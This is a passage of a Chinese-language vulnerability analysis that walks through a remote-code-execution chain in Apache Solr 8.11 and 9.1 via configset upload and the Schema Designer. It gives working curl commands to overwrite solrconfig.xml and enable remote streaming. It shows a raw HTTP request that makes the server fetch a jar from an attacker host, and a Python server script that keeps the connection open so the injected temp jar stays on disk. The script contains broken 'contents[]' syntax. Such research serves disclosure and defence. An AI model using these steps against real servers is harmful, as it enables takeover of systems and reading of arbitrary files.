    throw new SolrException(ErrorCode.BAD_REQUEST,
        "The configuration name should be provided in the \"name\" parameter");
  }
// 此处开始配置集上传逻辑
  SolrZkClient zkClient = coreContainer.getZkController().getZkClient();
  String configPathInZk = ZkConfigManager.CONFIGS_ZKNODE + "/" + configSetName;
//判断ZK中是否已经存在
  boolean overwritesExisting = zkClient.exists(configPathInZk, true);

  boolean requestIsTrusted = isTrusted(req, coreContainer.getAuthenticationPlugin());

  // 获取上传一些参数
  String singleFilePath = req.getParams().get(ConfigSetParams.FILE_PATH, "");
  boolean allowOverwrite = req.getParams().getBool(ConfigSetParams.OVERWRITE, false);
  boolean cleanup = req.getParams().getBool(ConfigSetParams.CLEANUP, false);

  Iterator<ContentStream> contentStreamsIterator = req.getContentStreams().iterator();

  if (!contentStreamsIterator.hasNext()) {
    throw new SolrException(ErrorCode.BAD_REQUEST,
            "No stream found for the config data to be uploaded");
  }
// 获取上传文件流
  InputStream inputStream = contentStreamsIterator.next().getStream();

  // 是否为单文件上传
  if (!singleFilePath.isEmpty()) {
    String fixedSingleFilePath = singleFilePath;
    if (fixedSingleFilePath.charAt(0) == '/') {
      fixedSingleFilePath = fixedSingleFilePath.substring(1);
    }
    if (fixedSingleFilePath.isEmpty()) {
      throw new SolrException(ErrorCode.BAD_REQUEST, "The file path provided for upload, '" + singleFilePath + "', is not valid.");
    } else if (cleanup) {
      // Cleanup is not allowed while using singleFilePath upload
      throw new SolrException(ErrorCode.BAD_REQUEST, "ConfigSet uploads do not allow cleanup=true when file path is used.");
    } else {
      try {
        // Create a node for the configuration in zookeeper
        // For creating the baseZnode, the cleanup parameter is only allowed to be true when singleFilePath is not passed.
        createBaseZnode(zkClient, overwritesExisting, requestIsTrusted, configPathInZk);
        String filePathInZk = configPathInZk + "/" + fixedSingleFilePath;
        zkClient.makePath(filePathInZk, IOUtils.toByteArray(inputStream), CreateMode.PERSISTENT, null, !allowOverwrite, true);
      } catch(KeeperException.NodeExistsException nodeExistsException) {
        throw new SolrException(ErrorCode.BAD_REQUEST,
                "The path " + singleFilePath + " for configSet " + configSetName + " already exists. In order to overwrite, provide overwrite=true or use an HTTP PUT with the V2 API.");
      }
    }
    return;
  }
  
// 单文件上传允许文件覆盖
  if (overwritesExisting && !allowOverwrite) {
    throw new SolrException(ErrorCode.BAD_REQUEST,
            "The configuration " + configSetName + " already exists in zookeeper");
  }

  Set<String> filesToDelete;
  if (overwritesExisting && cleanup) {
    filesToDelete = getAllConfigsetFiles(zkClient, configPathInZk);
  } else {
    filesToDelete = Collections.emptySet();
  }

  // zk中创建节点
  // For creating the baseZnode, the cleanup parameter is only allowed to be true when singleFilePath is not passed.
  createBaseZnode(zkClient, overwritesExisting, requestIsTrusted, configPathInZk);

//获取zip文件流 在zk中存储
  ZipInputStream zis = new ZipInputStream(inputStream, StandardCharsets.UTF_8);
  ZipEntry zipEntry = null;
  boolean hasEntry = false;
  while ((zipEntry = zis.getNextEntry()) != null) {
    hasEntry = true;
    String filePathInZk = configPathInZk + "/" + zipEntry.getName();
    if (filePathInZk.endsWith("/")) {
      filesToDelete.remove(filePathInZk.substring(0, filePathInZk.length() -1));
    } else {
      filesToDelete.remove(filePathInZk);
    }
    if (zipEntry.isDirectory()) {
      zkClient.makePath(filePathInZk, false,  true);
    } else {
      createZkNodeIfNotExistsAndSetData(zkClient, filePathInZk,
          IOUtils.toByteArray(zis));
    }
  }
  zis.close();
  if (!hasEntry) {
    throw new SolrException(ErrorCode.BAD_REQUEST,
            "Either empty zipped data, or non-zipped data was uploaded. In order to upload a configSet, you must zip a non-empty directory to upload.");
  }
  deleteUnusedFiles(zkClient, filesToDelete);

  // If the request is doing a full trusted overwrite of an untrusted configSet (overwrite=true, cleanup=true), then trust the configSet.
  if (cleanup && requestIsTrusted && overwritesExisting && !isCurrentlyTrusted(zkClient, configPathInZk)) {
    byte[] baseZnodeData =  ("{\"trusted\": true}").getBytes(StandardCharsets.UTF_8);
    zkClient.setData(configPathInZk, baseZnodeData, true);
  }
}

2.sechema-designer 功能

此功能为Solr 8.10及以后新引入的功能点,Schema Designer 屏幕允许用户使用示例数据以交互方式设计新模式。

6

它的技术细节我们可以不用去考虑,通过阅读官方文档,新的sechema的创建可以基于我们上传的Configset来创建

7

其实我们上传的ConfigSet是用来创建Collettion和Core的,这里之前出过漏洞,CVE-2020-13957,也是配置集上传导致的RCE。

这里复习一下solrconfig.xml 文件,此文件包含与请求处理和响应格式相关的定义和特定于核心的配置,以及索引,配置,管理内存和进行提交。内核配置文件,这个是影响Solr本身参数最多的配置文件。索引数据的存放位置,更新,删除,查询的一些规则配置 。

所以现在我们可以上传一个可控的solrconfig.xml 文件,可操作的范围就很多了。当我们上传了配置集文件,之前的新建Collections调用接口已被修复,将目光转向Schema Designer,新建一个Sehema

8

这里会出现报错,需要跟一下代码逻辑

9

首先新建一个secheam会加载solrconfig.xml,org.apache.solr.handler.designer.SchemaDesignerConfigSetHelper#loadSolrConfig,也就是去zk中去寻找solrconfig.xml 文件

10

在初始化SolrConfig(SolrConfig.xml 的对应类)过程中,会通过ZKloader加载配置文件

11

org.apache.solr.cloud.ZkSolrResourceLoader#openResource,查找文件,很显然这里是没有在ZK中找到solrconfig.xml 文件

12

沉思,配置集合上传路径新建的zk查询路径为/configs/* ,而新建designer-schema 在查询路径时会加上.designer*。

But,在配置集上传时我们可以指定filePath,且允许单文件上传以及文件覆盖选项,只需要单独上传下solrconfig.xml即可。

3.覆盖恶意solrconfig.xml

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @sdconfigset/solrconfig.xml "http://192.168.220.16:8983/solr/admin/configs?action=UPLOAD&name=lib&filePath=solrconfig.xml&overwrite=true"

我们按照模板上传了一个默认的solrconfig.xml 文件,指定filePath,指定overwrite为true
再来重试一下新建schema,仍旧报错

13

但是这个报错我们可以去忽略掉,因为可以看到这里solrconfig.xml 已经成功找到了,关键的SolrConfig类已经成功的初始化了。

14

4.SolrConfig初始化

还是在org.apache.solr.core.SolrConfig#SolrConfig 构造函数中,存在此漏洞关键点initLibs 方法org.apache.solr.core.SolrConfig#initLibs,它会读取SolrConfig.xml 中的标签中的值,去动态加载符合正则的文件当作jar包加载入jvm当中。

private void initLibs(SolrResourceLoader loader, boolean isConfigsetTrusted) {
  // TODO Want to remove SolrResourceLoader.getInstancePath; it can be on a Standalone subclass.
  //  For Zk subclass, it's needed for the time being as well.  We could remove that one if we remove two things
  //  in SolrCloud: (1) instancePath/lib  and (2) solrconfig lib directives with relative paths.  Can wait till 9.0.
  Path instancePath = loader.getInstancePath();
  List<URL> urls = new ArrayList<>();

  Path libPath = instancePath.resolve("lib");
  if (Files.exists(libPath)) {
    try {
      urls.addAll(SolrResourceLoader.getURLs(libPath));
    } catch (IOException e) {
      log.warn("Couldn't add files from {} to classpath: {}", libPath, e);
    }
  }
  List<ConfigNode> nodes = root.getAll("lib");
  if (nodes != null && nodes.size() > 0) {
    if (!isConfigsetTrusted) {
      throw new SolrException(ErrorCode.UNAUTHORIZED,
        "The configset for this collection was uploaded without any authentication in place,"
          + " and use of <lib> is not available for collections with untrusted configsets. To use this component, re-upload the configset"
          + " after enabling authentication and authorization.");
    }

    for (int i = 0; i < nodes.size(); i++) {
      ConfigNode node = nodes.get(i);
      String baseDir = node.attr("dir");
      String path = node.attr(PATH);
      if (null != baseDir) {
        // :TODO: add support for a simpler 'glob' mutually exclusive of regex
        Path dir = instancePath.resolve(baseDir);
        String regex = node.attr("regex");
        try {
          if (regex == null)
            urls.addAll(SolrResourceLoader.getURLs(dir));
          else
            urls.addAll(SolrResourceLoader.getFilteredURLs(dir, regex));
        } catch (IOException e) {
          log.warn("Couldn't add files from {} filtered by {} to classpath: {}", dir, regex, e);
        }
      } else if (null != path) {
        final Path dir = instancePath.resolve(path);
        try {
          urls.add(dir.toUri().toURL());
        } catch (MalformedURLException e) {
          log.warn("Couldn't add file {} to classpath: {}", dir, e);
        }
      } else {
        throw new RuntimeException("lib: missing mandatory attributes: 'dir' or 'path'");
      }
    }
  }

  if (!urls.isEmpty()) {
    loader.addToClassLoader(urls);
    loader.reloadLuceneSPI();
  }
}

所以构造恶意solrconfig.xml 添加lib标签即可,不同操作系统的触发需要配置不同的lib标签

Windows:

上面说到,使用的classloader继承于URLClassLoader,所以Windows系统可以使用UNC路径来进行文件的加载 。可以省略注入临时文件步骤

15

16

Linux:SSRF Jar协议 注入临时文件

这里也是官方提供的一个正常功能接口,当requestDispatcher.requestParsers.enableRemoteStreaming参数远程设置为true后,可实现http协议ssrf,netdoc协议目录遍历,file协议读取任意文件,jar协议注入tmp文件

注:需出网

 curl -d '{  "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.220.16:8983/solr/gettingstarted_shard1_replica_n1/config -H 'Content-type:application/json'
POST /solr/gettingstarted_shard2_replica_n1/debug/dump?param=ContentStreams HTTP/1.1
Host: 192.168.220.16:8983
User-Agent: curl/7.74.0
Accept: */*
Content-Length: 196
Content-Type: multipart/form-data; boundary=------------------------5897997e44b07bf9
Connection: close

--------------------------5897997e44b07bf9
Content-Disposition: form-data; name="stream.url"

jar:http://192.168.220.1:7878/calc.jar?!/Calc.class
--------------------------5897997e44b07bf9--

服务端:这里攻击期间服务端需要一直不给返回包,否则tmp临时文件注入失败

import sys 
import time 
import threading 
import socketserver 
from urllib.parse import quote 
import http.client as httpc 

listen_host = '0.0.0.0' 
listen_port = 7777 
jar_file = sys.argv[1]

class JarRequestHandler(socketserver.BaseRequestHandler):  
    def handle(self):
        http_req = b''
        print('New connection:',self.client_address)
        while b'\r\n\r\n' not in http_req:
            try:
                http_req += self.request.recv(4096)
                print('\r\nClient req:\r\n',http_req.decode())
                jf = open(jar_file, 'rb')
                contents = jf.read()
                headers = ('''HTTP/1.0 200 OK\r\n'''
                '''Content-Type: application/java-archive\r\n\r\n''')
                self.request.sendall(headers.encode('ascii'))
                self.request.sendall(contents[])
                time.sleep(300000)
                print(30)
                self.request.sendall(contents[])

            except Exception as e:
                print ("get error at:"+str(e))



                
if __name__ == '__main__':

    jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler) 
    print ('waiting for connection...') 
    server_thread = threading.Thread(target=jarserver.serve_forever) 
    server_thread.daemon = True 
    server_thread.start() 
    server_thread.join()

六、漏洞演示

17

18

七、测试版本

8 系列最新版本 8.11

9 系列最新版本9.1

八、参考文章

https://xz.aliyun.com/t/9248

https://solr.apache.org/guide/8_10/schema-designer.html

https://solr.apache.org/guide/solr/latest/configuration-guide/configsets-api.html

❌
❌